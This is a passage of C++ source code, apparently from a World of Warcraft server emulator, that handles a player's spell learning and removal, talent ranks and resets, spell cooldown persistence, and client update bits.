itr->second.state = PLAYERSPELL_UNCHANGED;
return false;
}
}
}
TalentSpellPos const* talentPos = GetTalentSpellPos(spell_id);
if(!disabled_case) // skip new spell adding if spell already known (disabled spells case)
{
// talent: unlearn all other talent ranks (high and low)
if (talentPos)
{
if (TalentEntry const *talentInfo = sTalentStore.LookupEntry( talentPos->talent_id ))
{
for(int i=0; i < MAX_TALENT_RANK; ++i)
{
// skip learning spell and no rank spell case
uint32 rankSpellId = talentInfo->RankID[i];
if(!rankSpellId || rankSpellId == spell_id)
continue;
removeSpell(rankSpellId, false, false);
}
}
}
// non talent spell: learn low ranks (recursive call)
else if (uint32 prev_spell = sSpellMgr.GetPrevSpellInChain(spell_id))
{
if(!IsInWorld() || disabled) // at spells loading, no output, but allow save
addSpell(prev_spell, active, true, true, disabled);
else // at normal learning
learnSpell(prev_spell, true);
}
PlayerSpell newspell;
newspell.state = state;
newspell.active = active;
newspell.dependent = dependent;
newspell.disabled = disabled;
// replace spells in action bars and spellbook to bigger rank if only one spell rank must be accessible
if (newspell.active && !newspell.disabled && sSpellMgr.IsRankedSpellNonStackableInSpellBook(spellInfo))
{
for( PlayerSpellMap::iterator itr2 = m_spells.begin(); itr2 != m_spells.end(); ++itr2 )
{
if (itr2->second.state == PLAYERSPELL_REMOVED) continue;
SpellEntry const *i_spellInfo = sSpellStore.LookupEntry(itr2->first);
if(!i_spellInfo) continue;
if ( sSpellMgr.IsRankSpellDueToSpell(spellInfo, itr2->first) )
{
if (itr2->second.active)
{
if (sSpellMgr.IsHighRankOfSpell(spell_id,itr2->first))
{
if (IsInWorld()) // not send spell (re-/over-)learn packets at loading
{
WorldPacket data(SMSG_SUPERCEDED_SPELL, 4 + 4);
data << uint32(itr2->first);
data << uint32(spell_id);
GetSession()->SendPacket( &data );
}
// mark old spell as disable (SMSG_SUPERCEDED_SPELL replace it in client by new)
itr2->second.active = false;
if (itr2->second.state != PLAYERSPELL_NEW)
itr2->second.state = PLAYERSPELL_CHANGED;
superceded_old = true; // new spell replace old in action bars and spell book.
}
else if (sSpellMgr.IsHighRankOfSpell(itr2->first,spell_id))
{
if (IsInWorld()) // not send spell (re-/over-)learn packets at loading
{
WorldPacket data(SMSG_SUPERCEDED_SPELL, 4 + 4);
data << uint32(spell_id);
data << uint32(itr2->first);
GetSession()->SendPacket( &data );
}
// mark new spell as disable (not learned yet for client and will not learned)
newspell.active = false;
if (newspell.state != PLAYERSPELL_NEW)
newspell.state = PLAYERSPELL_CHANGED;
}
}
}
}
}
m_spells[spell_id] = newspell;
// return false if spell disabled
if (newspell.disabled)
return false;
}
if (talentPos)
{
// update talent map
PlayerTalentMap::iterator iter = m_talents[m_activeSpec].find(talentPos->talent_id);
if (iter != m_talents[m_activeSpec].end())
{
// check if ranks different or removed
if ((*iter).second.state == PLAYERSPELL_REMOVED || talentPos->rank != (*iter).second.currentRank)
{
(*iter).second.currentRank = talentPos->rank;
if ((*iter).second.state != PLAYERSPELL_NEW)
(*iter).second.state = PLAYERSPELL_CHANGED;
}
}
else
{
PlayerTalent talent;
talent.currentRank = talentPos->rank;
talent.talentEntry = sTalentStore.LookupEntry(talentPos->talent_id);
talent.state = IsInWorld() ? PLAYERSPELL_NEW : PLAYERSPELL_UNCHANGED;
m_talents[m_activeSpec][talentPos->talent_id] = talent;
}
// update used talent points count
m_usedTalentCount += GetTalentSpellCost(talentPos);
UpdateFreeTalentPoints(false);
}
// update free primary prof.points (if any, can be none in case GM .learn prof. learning)
if (uint32 freeProfs = GetFreePrimaryProfessionPoints())
{
if (sSpellMgr.IsPrimaryProfessionFirstRankSpell(spell_id))
SetFreePrimaryProfessions(freeProfs-1);
}
// cast talents with SPELL_EFFECT_LEARN_SPELL (other dependent spells will learned later as not auto-learned)
// note: all spells with SPELL_EFFECT_LEARN_SPELL isn't passive
if (talentPos && IsSpellHaveEffect(spellInfo,SPELL_EFFECT_LEARN_SPELL))
{
// ignore stance requirement for talent learn spell (stance set for spell only for client spell description show)
CastSpell(this, spell_id, true);
}
// also cast passive (and passive like) spells (including all talents without SPELL_EFFECT_LEARN_SPELL) with additional checks
else if (IsNeedCastPassiveLikeSpellAtLearn(spellInfo))
{
CastSpell(this, spell_id, true);
}
else if (IsSpellHaveEffect(spellInfo,SPELL_EFFECT_SKILL_STEP))
{
CastSpell(this, spell_id, true);
return false;
}
// add dependent skills
uint16 maxskill = GetMaxSkillValueForLevel();
SpellLearnSkillNode const* spellLearnSkill = sSpellMgr.GetSpellLearnSkill(spell_id);
SkillLineAbilityMapBounds skill_bounds = sSpellMgr.GetSkillLineAbilityMapBounds(spell_id);
if (spellLearnSkill)
{
uint32 skill_value = GetPureSkillValue(spellLearnSkill->skill);
uint32 skill_max_value = GetPureMaxSkillValue(spellLearnSkill->skill);
if (skill_value < spellLearnSkill->value)
skill_value = spellLearnSkill->value;
uint32 new_skill_max_value = spellLearnSkill->maxvalue == 0 ? maxskill : spellLearnSkill->maxvalue;
if (skill_max_value < new_skill_max_value)
skill_max_value = new_skill_max_value;
SetSkill(spellLearnSkill->skill, skill_value, skill_max_value, spellLearnSkill->step);
}
else
{
// not ranked skills
for(SkillLineAbilityMap::const_iterator _spell_idx = skill_bounds.first; _spell_idx != skill_bounds.second; ++_spell_idx)
{
SkillLineEntry const *pSkill = sSkillLineStore.LookupEntry(_spell_idx->second->skillId);
if (!pSkill)
continue;
if (HasSkill(pSkill->id))
continue;
if (_spell_idx->second->learnOnGetSkill == ABILITY_LEARNED_ON_GET_RACE_OR_CLASS_SKILL ||
// lockpicking/runeforging special case, not have ABILITY_LEARNED_ON_GET_RACE_OR_CLASS_SKILL
((pSkill->id==SKILL_LOCKPICKING || pSkill->id==SKILL_RUNEFORGING) && _spell_idx->second->max_value==0))
{
switch(GetSkillRangeType(pSkill, _spell_idx->second->racemask != 0))
{
case SKILL_RANGE_LANGUAGE:
SetSkill(pSkill->id, 300, 300 );
break;
case SKILL_RANGE_LEVEL:
SetSkill(pSkill->id, 1, GetMaxSkillValueForLevel() );
break;
case SKILL_RANGE_MONO:
SetSkill(pSkill->id, 1, 1 );
break;
default:
break;
}
}
}
}
// learn dependent spells
SpellLearnSpellMapBounds spell_bounds = sSpellMgr.GetSpellLearnSpellMapBounds(spell_id);
for(SpellLearnSpellMap::const_iterator itr2 = spell_bounds.first; itr2 != spell_bounds.second; ++itr2)
{
if (!itr2->second.autoLearned)
{
if (!IsInWorld() || !itr2->second.active) // at spells loading, no output, but allow save
addSpell(itr2->second.spell,itr2->second.active,true,true,false);
else // at normal learning
learnSpell(itr2->second.spell, true);
}
}
if (!GetSession()->PlayerLoading())
{
// not ranked skills
for(SkillLineAbilityMap::const_iterator _spell_idx = skill_bounds.first; _spell_idx != skill_bounds.second; ++_spell_idx)
{
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LEARN_SKILL_LINE,_spell_idx->second->skillId);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LEARN_SKILLLINE_SPELLS,_spell_idx->second->skillId);
}
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LEARN_SPELL,spell_id);
}
// return true (for send learn packet) only if spell active (in case ranked spells) and not replace old spell
return active && !disabled && !superceded_old;
}
bool Player::IsNeedCastPassiveLikeSpellAtLearn(SpellEntry const* spellInfo) const
{
ShapeshiftForm form = GetShapeshiftForm();
if (IsNeedCastSpellAtFormApply(spellInfo, form)) // SPELL_ATTR_PASSIVE | SPELL_ATTR_HIDDEN_CLIENTSIDE spells
return true; // all stance req. cases, not have auarastate cases
if (!(spellInfo->Attributes & SPELL_ATTR_PASSIVE))
return false;
// note: form passives activated with shapeshift spells be implemented by HandleShapeshiftBoosts instead of spell_learn_spell
// talent dependent passives activated at form apply have proper stance data
bool need_cast = (!spellInfo->Stances || (!form && (spellInfo->AttributesEx2 & SPELL_ATTR_EX2_NOT_NEED_SHAPESHIFT)));
// Check CasterAuraStates
return need_cast && (!spellInfo->CasterAuraState || HasAuraState(AuraState(spellInfo->CasterAuraState)));
}
void Player::learnSpell(uint32 spell_id, bool dependent)
{
PlayerSpellMap::iterator itr = m_spells.find(spell_id);
bool disabled = (itr != m_spells.end()) ? itr->second.disabled : false;
bool active = disabled ? itr->second.active : true;
bool learning = addSpell(spell_id, active, true, dependent, false);
// prevent duplicated entires in spell book, also not send if not in world (loading)
if (learning && IsInWorld())
{
WorldPacket data(SMSG_LEARNED_SPELL, 6);
data << uint32(spell_id);
data << uint16(0); // 3.3.3 unk
GetSession()->SendPacket(&data);
}
// learn all disabled higher ranks (recursive)
if (disabled)
{
SpellChainMapNext const& nextMap = sSpellMgr.GetSpellChainNext();
for(SpellChainMapNext::const_iterator i = nextMap.lower_bound(spell_id); i != nextMap.upper_bound(spell_id); ++i)
{
PlayerSpellMap::iterator iter = m_spells.find(i->second);
if (iter != m_spells.end() && iter->second.disabled)
learnSpell(i->second, false);
}
}
}
void Player::removeSpell(uint32 spell_id, bool disabled, bool learn_low_rank, bool sendUpdate)
{
PlayerSpellMap::iterator itr = m_spells.find(spell_id);
if (itr == m_spells.end())
return;
if (itr->second.state == PLAYERSPELL_REMOVED || (disabled && itr->second.disabled))
return;
// unlearn non talent higher ranks (recursive)
SpellChainMapNext const& nextMap = sSpellMgr.GetSpellChainNext();
for(SpellChainMapNext::const_iterator itr2 = nextMap.lower_bound(spell_id); itr2 != nextMap.upper_bound(spell_id); ++itr2)
if (HasSpell(itr2->second) && !GetTalentSpellPos(itr2->second))
removeSpell(itr2->second, disabled, false);
// re-search, it can be corrupted in prev loop
itr = m_spells.find(spell_id);
if (itr == m_spells.end() || itr->second.state == PLAYERSPELL_REMOVED)
return; // already unleared
bool cur_active = itr->second.active;
bool cur_dependent = itr->second.dependent;
if (disabled)
{
itr->second.disabled = disabled;
if (itr->second.state != PLAYERSPELL_NEW)
itr->second.state = PLAYERSPELL_CHANGED;
}
else
{
if (itr->second.state == PLAYERSPELL_NEW)
m_spells.erase(itr);
else
itr->second.state = PLAYERSPELL_REMOVED;
}
RemoveAurasDueToSpell(spell_id);
// remove pet auras
for(int i = 0; i < MAX_EFFECT_INDEX; ++i)
if (PetAura const* petSpell = sSpellMgr.GetPetAura(spell_id, SpellEffectIndex(i)))
RemovePetAura(petSpell);
TalentSpellPos const* talentPos = GetTalentSpellPos(spell_id);
if (talentPos)
{
// update talent map
PlayerTalentMap::iterator iter = m_talents[m_activeSpec].find(talentPos->talent_id);
if (iter != m_talents[m_activeSpec].end())
{
if ((*iter).second.state != PLAYERSPELL_NEW)
(*iter).second.state = PLAYERSPELL_REMOVED;
else
m_talents[m_activeSpec].erase(iter);
}
else
sLog.outError("removeSpell: Player (GUID: %u) has talent spell (id: %u) but doesn't have talent",GetGUIDLow(), spell_id );
// free talent points
uint32 talentCosts = GetTalentSpellCost(talentPos);
if (talentCosts < m_usedTalentCount)
m_usedTalentCount -= talentCosts;
else
m_usedTalentCount = 0;
UpdateFreeTalentPoints(false);
}
// update free primary prof.points (if not overflow setting, can be in case GM use before .learn prof. learning)
if (sSpellMgr.IsPrimaryProfessionFirstRankSpell(spell_id))
{
uint32 freeProfs = GetFreePrimaryProfessionPoints()+1;
uint32 maxProfs = GetSession()->GetSecurity() < AccountTypes(sWorld.getConfig(CONFIG_UINT32_TRADE_SKILL_GMIGNORE_MAX_PRIMARY_COUNT)) ? sWorld.getConfig(CONFIG_UINT32_MAX_PRIMARY_TRADE_SKILL) : 10;
if (freeProfs <= maxProfs)
SetFreePrimaryProfessions(freeProfs);
}
// remove dependent skill
SpellLearnSkillNode const* spellLearnSkill = sSpellMgr.GetSpellLearnSkill(spell_id);
if (spellLearnSkill)
{
uint32 prev_spell = sSpellMgr.GetPrevSpellInChain(spell_id);
if(!prev_spell) // first rank, remove skill
SetSkill(spellLearnSkill->skill, 0, 0);
else
{
// search prev. skill setting by spell ranks chain
SpellLearnSkillNode const* prevSkill = sSpellMgr.GetSpellLearnSkill(prev_spell);
while(!prevSkill && prev_spell)
{
prev_spell = sSpellMgr.GetPrevSpellInChain(prev_spell);
prevSkill = sSpellMgr.GetSpellLearnSkill(sSpellMgr.GetFirstSpellInChain(prev_spell));
}
if (!prevSkill) // not found prev skill setting, remove skill
SetSkill(spellLearnSkill->skill, 0, 0);
else // set to prev. skill setting values
{
uint32 skill_value = GetPureSkillValue(prevSkill->skill);
uint32 skill_max_value = GetPureMaxSkillValue(prevSkill->skill);
if (skill_value > prevSkill->value)
skill_value = prevSkill->value;
uint32 new_skill_max_value = prevSkill->maxvalue == 0 ? GetMaxSkillValueForLevel() : prevSkill->maxvalue;
if (skill_max_value > new_skill_max_value)
skill_max_value = new_skill_max_value;
SetSkill(prevSkill->skill, skill_value, skill_max_value, prevSkill->step);
}
}
}
else
{
// not ranked skills
SkillLineAbilityMapBounds bounds = sSpellMgr.GetSkillLineAbilityMapBounds(spell_id);
for(SkillLineAbilityMap::const_iterator _spell_idx = bounds.first; _spell_idx != bounds.second; ++_spell_idx)
{
SkillLineEntry const *pSkill = sSkillLineStore.LookupEntry(_spell_idx->second->skillId);
if (!pSkill)
continue;
if ((_spell_idx->second->learnOnGetSkill == ABILITY_LEARNED_ON_GET_RACE_OR_CLASS_SKILL &&
pSkill->categoryId != SKILL_CATEGORY_CLASS) ||// not unlearn class skills (spellbook/talent pages)
// lockpicking/runeforging special case, not have ABILITY_LEARNED_ON_GET_RACE_OR_CLASS_SKILL
((pSkill->id == SKILL_LOCKPICKING || pSkill->id == SKILL_RUNEFORGING) && _spell_idx->second->max_value == 0))
{
// not reset skills for professions and racial abilities
if ((pSkill->categoryId == SKILL_CATEGORY_SECONDARY || pSkill->categoryId == SKILL_CATEGORY_PROFESSION) &&
(IsProfessionSkill(pSkill->id) || _spell_idx->second->racemask != 0))
continue;
SetSkill(pSkill->id, 0, 0);
}
}
}
// remove dependent spells
SpellLearnSpellMapBounds spell_bounds = sSpellMgr.GetSpellLearnSpellMapBounds(spell_id);
for(SpellLearnSpellMap::const_iterator itr2 = spell_bounds.first; itr2 != spell_bounds.second; ++itr2)
removeSpell(itr2->second.spell, disabled);
// activate lesser rank in spellbook/action bar, and cast it if need
bool prev_activate = false;
if (uint32 prev_id = sSpellMgr.GetPrevSpellInChain (spell_id))
{
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spell_id);
// if talent then lesser rank also talent and need learn
if (talentPos)
{
if (learn_low_rank)
learnSpell(prev_id, false);
}
// if ranked non-stackable spell: need activate lesser rank and update dependence state
else if (cur_active && sSpellMgr.IsRankedSpellNonStackableInSpellBook(spellInfo))
{
// need manually update dependence state (learn spell ignore like attempts)
PlayerSpellMap::iterator prev_itr = m_spells.find(prev_id);
if (prev_itr != m_spells.end())
{
if (prev_itr->second.dependent != cur_dependent)
{
prev_itr->second.dependent = cur_dependent;
if (prev_itr->second.state != PLAYERSPELL_NEW)
prev_itr->second.state = PLAYERSPELL_CHANGED;
}
// now re-learn if need re-activate
if (cur_active && !prev_itr->second.active && learn_low_rank)
{
if (addSpell(prev_id, true, false, prev_itr->second.dependent, prev_itr->second.disabled))
{
// downgrade spell ranks in spellbook and action bar
WorldPacket data(SMSG_SUPERCEDED_SPELL, 4 + 4);
data << uint32(spell_id);
data << uint32(prev_id);
GetSession()->SendPacket( &data );
prev_activate = true;
}
}
}
}
}
// for Titan's Grip and shaman Dual-wield
if (CanDualWield() || CanTitanGrip())
{
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spell_id);
if (CanDualWield() && IsSpellHaveEffect(spellInfo, SPELL_EFFECT_DUAL_WIELD))
SetCanDualWield(false);
if (CanTitanGrip() && IsSpellHaveEffect(spellInfo, SPELL_EFFECT_TITAN_GRIP))
{
SetCanTitanGrip(false);
// Remove Titan's Grip damage penalty now
RemoveAurasDueToSpell(49152);
}
}
// for talents and normal spell unlearn that allow offhand use for some weapons
if (sWorld.getConfig(CONFIG_BOOL_OFFHAND_CHECK_AT_TALENTS_RESET))
AutoUnequipOffhandIfNeed();
// remove from spell book if not replaced by lesser rank
if (!prev_activate && sendUpdate)
{
WorldPacket data(SMSG_REMOVED_SPELL, 4);
data << uint32(spell_id);
GetSession()->SendPacket(&data);
}
}
void Player::RemoveSpellCooldown( uint32 spell_id, bool update /* = false */ )
{
MAPLOCK_WRITE(this, MAP_LOCK_TYPE_DEFAULT);
m_spellCooldowns.erase(spell_id);
if (update)
SendClearCooldown(spell_id, this);
}
void Player::RemoveSpellCategoryCooldown(uint32 cat, bool update /* = false */)
{
if (m_spellCooldowns.empty())
return;
SpellCategoryStore::const_iterator ct = sSpellCategoryStore.find(cat);
if (ct == sSpellCategoryStore.end())
return;
const SpellCategorySet& ct_set = ct->second;
SpellCategorySet current_set;
SpellCategorySet intersection_set;
{
MAPLOCK_READ(this, MAP_LOCK_TYPE_DEFAULT);
std::transform(m_spellCooldowns.begin(), m_spellCooldowns.end(), std::inserter(current_set, current_set.begin()), select1st<SpellCooldowns::value_type>());
}
std::set_intersection(ct_set.begin(),ct_set.end(), current_set.begin(),current_set.end(),std::inserter(intersection_set,intersection_set.begin()));
if (intersection_set.empty())
return;
for (SpellCategorySet::const_iterator itr = intersection_set.begin(); itr != intersection_set.end(); ++itr)
RemoveSpellCooldown(*itr, update);
}
void Player::RemoveArenaSpellCooldowns()
{
// remove cooldowns on spells that has < 15 min CD
SpellCooldowns::iterator itr, next;
// iterate spell cooldowns
for(itr = m_spellCooldowns.begin();itr != m_spellCooldowns.end(); itr = next)
{
next = itr;
++next;
SpellEntry const * entry = sSpellStore.LookupEntry(itr->first);
// check if spellentry is present and if the cooldown is less than 15 mins
if ( entry &&
entry->RecoveryTime <= 15 * MINUTE * IN_MILLISECONDS &&
entry->CategoryRecoveryTime <= 15 * MINUTE * IN_MILLISECONDS )
{
// remove & notify
RemoveSpellCooldown(itr->first, true);
}
}
if (Pet *pet = GetPet())
{
// notify player
for (CreatureSpellCooldowns::const_iterator itr = pet->m_CreatureSpellCooldowns.begin(); itr != pet->m_CreatureSpellCooldowns.end(); ++itr)
SendClearCooldown(itr->first, pet);
// actually clear cooldowns
pet->m_CreatureSpellCooldowns.clear();
}
}
void Player::RemoveAllSpellCooldown()
{
if(!m_spellCooldowns.empty())
{
for(SpellCooldowns::const_iterator itr = m_spellCooldowns.begin();itr != m_spellCooldowns.end(); ++itr)
SendClearCooldown(itr->first, this);
MAPLOCK_WRITE(this, MAP_LOCK_TYPE_DEFAULT);
m_spellCooldowns.clear();
}
}
void Player::_LoadSpellCooldowns(QueryResult *result)
{
// some cooldowns can be already set at aura loading...
//QueryResult *result = CharacterDatabase.PQuery("SELECT spell,item,time FROM character_spell_cooldown WHERE guid = '%u'",GetGUIDLow());
if (result)
{
time_t curTime = time(NULL);
do
{
Field *fields = result->Fetch();
uint32 spell_id = fields[0].GetUInt32();
uint32 item_id = fields[1].GetUInt32();
time_t db_time = (time_t)fields[2].GetUInt64();
if(!sSpellStore.LookupEntry(spell_id))
{
sLog.outError("Player %u has unknown spell %u in `character_spell_cooldown`, skipping.",GetGUIDLow(),spell_id);
continue;
}
// skip outdated cooldown
if (db_time <= curTime)
continue;
AddSpellCooldown(spell_id, item_id, db_time);
DEBUG_LOG("Player (GUID: %u) spell %u, item %u cooldown loaded (%u secs).", GetGUIDLow(), spell_id, item_id, uint32(db_time-curTime));
}
while( result->NextRow() );
delete result;
}
}
void Player::_SaveSpellCooldowns()
{
static SqlStatementID deleteSpellCooldown ;
static SqlStatementID insertSpellCooldown ;
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteSpellCooldown, "DELETE FROM character_spell_cooldown WHERE guid = ?");
stmt.PExecute(GetGUIDLow());
time_t curTime = time(NULL);
time_t infTime = curTime + infinityCooldownDelayCheck;
// remove outdated and save active
for(SpellCooldowns::iterator itr = m_spellCooldowns.begin();itr != m_spellCooldowns.end();)
{
if (itr->second.end <= curTime)
{
MAPLOCK_WRITE(this, MAP_LOCK_TYPE_DEFAULT);
m_spellCooldowns.erase(itr++);
}
else if (itr->second.end <= infTime) // not save locked cooldowns, it will be reset or set at reload
{
stmt = CharacterDatabase.CreateStatement(insertSpellCooldown, "INSERT INTO character_spell_cooldown (guid,spell,item,time) VALUES( ?, ?, ?, ?)");
stmt.PExecute(GetGUIDLow(), itr->first, itr->second.itemid, uint64(itr->second.end));
++itr;
}
else
++itr;
}
}
uint32 Player::resetTalentsCost() const
{
// The first time reset costs 1 gold
if (m_resetTalentsCost < 1*GOLD)
return 1*GOLD;
// then 5 gold
else if (m_resetTalentsCost < 5*GOLD)
return 5*GOLD;
// After that it increases in increments of 5 gold
else if (m_resetTalentsCost < 10*GOLD)
return 10*GOLD;
else
{
time_t months = (sWorld.GetGameTime() - m_resetTalentsTime)/MONTH;
if (months > 0)
{
// This cost will be reduced by a rate of 5 gold per month
int32 new_cost = int32((m_resetTalentsCost) - 5*GOLD*months);
// to a minimum of 10 gold.
return uint32(new_cost < 10*GOLD ? 10*GOLD : new_cost);
}
else
{
// After that it increases in increments of 5 gold
int32 new_cost = m_resetTalentsCost + 5*GOLD;
// until it hits a cap of 50 gold.
if (new_cost > 50*GOLD)
new_cost = 50*GOLD;
return new_cost;
}
}
}
bool Player::resetTalents(bool no_cost, bool all_specs)
{
// not need after this call
if (HasAtLoginFlag(AT_LOGIN_RESET_TALENTS) && all_specs)
RemoveAtLoginFlag(AT_LOGIN_RESET_TALENTS,true);
if (m_usedTalentCount == 0 && !all_specs)
{
UpdateFreeTalentPoints(false); // for fix if need counter
return false;
}
uint32 cost = 0;
if(!no_cost)
{
cost = resetTalentsCost();
if (GetMoney() < cost)
{
SendBuyError( BUY_ERR_NOT_ENOUGHT_MONEY, 0, 0, 0);
return false;
}
}
RemoveAllEnchantments(TEMP_ENCHANTMENT_SLOT);
for (PlayerTalentMap::iterator iter = m_talents[m_activeSpec].begin(); iter != m_talents[m_activeSpec].end();)
{
if (iter->second.state == PLAYERSPELL_REMOVED)
{
++iter;
continue;
}
TalentEntry const* talentInfo = iter->second.talentEntry;
if (!talentInfo)
{
m_talents[m_activeSpec].erase(iter++);
continue;
}
TalentTabEntry const* talentTabInfo = sTalentTabStore.LookupEntry(talentInfo->TalentTab);
if (!talentTabInfo)
{
m_talents[m_activeSpec].erase(iter++);
continue;
}
// unlearn only talents for character class
// some spell learned by one class as normal spells or know at creation but another class learn it as talent,
// to prevent unexpected lost normal learned spell skip another class talents
if ((getClassMask() & talentTabInfo->ClassMask) == 0)
{
++iter;
continue;
}
for (int j = 0; j < MAX_TALENT_RANK; ++j)
if (talentInfo->RankID[j])
{
removeSpell(talentInfo->RankID[j],!IsPassiveSpell(talentInfo->RankID[j]),false);
SpellEntry const *spellInfo = sSpellStore.LookupEntry(talentInfo->RankID[j]);
for (int k = 0; k < MAX_EFFECT_INDEX; ++k)
if (spellInfo->EffectTriggerSpell[k])
removeSpell(spellInfo->EffectTriggerSpell[k]);
}
iter = m_talents[m_activeSpec].begin();
}
// for not current spec just mark removed all saved to DB case and drop not saved
if (all_specs)
{
for (uint8 spec = 0; spec < MAX_TALENT_SPEC_COUNT; ++spec)
{
if (spec == m_activeSpec)
continue;
for (PlayerTalentMap::iterator iter = m_talents[spec].begin(); iter != m_talents[spec].end();)
{
switch (iter->second.state)
{
case PLAYERSPELL_REMOVED:
++iter;
break;
case PLAYERSPELL_NEW:
m_talents[spec].erase(iter++);
break;
default:
iter->second.state = PLAYERSPELL_REMOVED;
++iter;
break;
}
}
}
}
UpdateFreeTalentPoints(false);
if(!no_cost)
{
ModifyMoney(-(int32)cost);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_GOLD_SPENT_FOR_TALENTS, cost);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_NUMBER_OF_TALENT_RESETS, 1);
m_resetTalentsCost = cost;
m_resetTalentsTime = time(NULL);
}
//FIXME: remove pet before or after unlearn spells? for now after unlearn to allow removing of talent related, pet affecting auras
RemovePet(PET_SAVE_REAGENTS);
/* when prev line will dropped use next line
if (Pet* pet = GetPet())
{
if (pet->getPetType()==HUNTER_PET && !pet->GetCreatureInfo()->isTameable(CanTameExoticPets()))
pet->Unsummon(PET_SAVE_REAGENTS, this);
}
*/
return true;
}
Mail* Player::GetMail(uint32 id)
{
for(PlayerMails::iterator itr = m_mail.begin(); itr != m_mail.end(); ++itr)
{
if ((*itr)->messageID == id)
{
return (*itr);
}
}
return NULL;
}
void Player::_SetCreateBits(UpdateMask *updateMask, Player *target) const
{
if (target == this)
{
Object::_SetCreateBits(updateMask, target);
}
else
{
for(uint16 index = 0; index < m_valuesCount; index++)
{
if (GetUInt32Value(index) != 0 && updateVisualBits.GetBit(index))
updateMask->SetBit(index);
}
}
}
void Player::_SetUpdateBits(UpdateMask *updateMask, Player *target) const
{
if (target == this)
{
Object::_SetUpdateBits(updateMask, target);
}
else
{
Object::_SetUpdateBits(updateMask, target);
*updateMask &= updateVisualBits;
}
}
void Player::InitVisibleBits()
{
updateVisualBits.SetCount(PLAYER_END);
updateVisualBits.SetBit(OBJECT_FIELD_GUID);
updateVisualBits.SetBit(OBJECT_FIELD_TYPE);
updateVisualBits.SetBit(OBJECT_FIELD_ENTRY);
updateVisualBits.SetBit(OBJECT_FIELD_SCALE_X);
updateVisualBits.SetBit(UNIT_FIELD_CHARM + 0);
updateVisualBits.SetBit(UNIT_FIELD_CHARM + 1);
updateVisualBits.SetBit(UNIT_FIELD_SUMMON + 0);
updateVisualBits.SetBit(UNIT_FIELD_SUMMON + 1);
updateVisualBits.SetBit(UNIT_FIELD_CHARMEDBY + 0);
updateVisualBits.SetBit(UNIT_FIELD_CHARMEDBY + 1);
updateVisualBits.SetBit(UNIT_FIELD_TARGET + 0);
updateVisualBits.SetBit(UNIT_FIELD_TARGET + 1);
updateVisualBits.SetBit(UNIT_FIELD_CHANNEL_OBJECT + 0);
updateVisualBits.SetBit(UNIT_FIELD_CHANNEL_OBJECT + 1);
updateVisualBits.SetBit(UNIT_FIELD_BYTES_0);
updateVisualBits.SetBit(UNIT_FIELD_HEALTH);
updateVisualBits.SetBit(UNIT_FIELD_POWER1);
updateVisualBits.SetBit(UNIT_FIELD_POWER2);
updateVisualBits.SetBit(UNIT_FIELD_POWER3);
updateVisualBits.SetBit(UNIT_FIELD_POWER4);
updateVisualBits.SetBit(UNIT_FIELD_POWER5);
updateVisualBits.SetBit(UNIT_FIELD_POWER6);
updateVisualBits.SetBit(UNIT_FIELD_POWER7);
updateVisualBits.SetBit(UNIT_FIELD_MAXHEALTH);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER1);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER2);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER3);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER4);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER5);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER6);
updateVisualBits.SetBit(UNIT_FIELD_MAXPOWER7);
updateVisualBits.SetBit(UNIT_FIELD_LEVEL);
updateVisualBits.SetBit(UNIT_FIELD_FACTIONTEMPLATE);
updateVisualBits.SetBit(UNIT_VIRTUAL_ITEM_SLOT_ID + 0);
updateVisualBits.SetBit(UNIT_VIRTUAL_ITEM_SLOT_ID + 1);
updateVisualBits.SetBit(UNIT_VIRTUAL_ITEM_SLOT_ID + 2);
updateVisualBits.SetBit(UNIT_FIELD_FLAGS);
updateVisualBits.SetBit(UNIT_FIELD_FLAGS_2);
updateVisualBits.SetBit(UNIT_FIELD_AURASTATE);
updateVisualBits.SetBit(UNIT_FIELD_BASEATTACKTIME + 0);
updateVisualBits.SetBit(UNIT_FIELD_BASEATTACKTIME + 1);
updateVisualBits.SetBit(UNIT_FIELD_BOUNDINGRADIUS);
updateVisualBits.SetBit(UNIT_FIELD_COMBATREACH);
updateVisualBits.SetBit(UNIT_FIELD_DISPLAYID);
updateVisualBits.SetBit(UNIT_FIELD_NATIVEDISPLAYID);
updateVisualBits.SetBit(UNIT_FIELD_MOUNTDISPLAYID);
updateVisualBits.SetBit(UNIT_FIELD_BYTES_1);
updateVisualBits.SetBit(UNIT_FIELD_PETNUMBER);
updateVisualBits.SetBit(UNIT_FIELD_PET_NAME_TIMESTAMP);
updateVisualBits.SetBit(UNIT_DYNAMIC_FLAGS);
updateVisualBits.SetBit(UNIT_CHANNEL_SPELL);
updateVisualBits.SetBit(UNIT_MOD_CAST_SPEED);
updateVisualBits.SetBit(UNIT_FIELD_BASE_MANA);
updateVisualBits.SetBit(UNIT_FIELD_BYTES_2);
updateVisualBits.SetBit(UNIT_FIELD_HOVERHEIGHT);
updateVisualBits.SetBit(PLAYER_DUEL_ARBITER + 0);
updateVisualBits.SetBit(PLAYER_DUEL_ARBITER + 1);
updateVisualBits.SetBit(PLAYER_FLAGS);
updateVisualBits.SetBit(PLAYER_GUILDID);
updateVisualBits.SetBit(PLAYER_GUILDRANK);
updateVisualBits.SetBit(PLAYER_BYTES);
updateVisualBits.SetBit(PLAYER_BYTES_2);
updateVisualBits.SetBit(PLAYER_BYTES_3);
updateVisualBits.SetBit(PLAYER_DUEL_TEAM);
updateVisualBits.SetBit(PLAYER_GUILD_TIMESTAMP);
updateVisualBits.SetBit(UNIT_NPC_FLAGS);
// PLAYER_QUEST_LOG_x also visible bit on official (but only on party/raid)...
for(uint16 i = PLAYER_QUEST_LOG_1_1; i < PLAYER_QUEST_LOG_25_2; i += MAX_QUEST_OFFSET)
updateVisualBits.SetBit(i);
// Players visible items are not inventory stuff
for(uint16 i = 0; i < EQUIPMENT_SLOT_END; ++i)
{
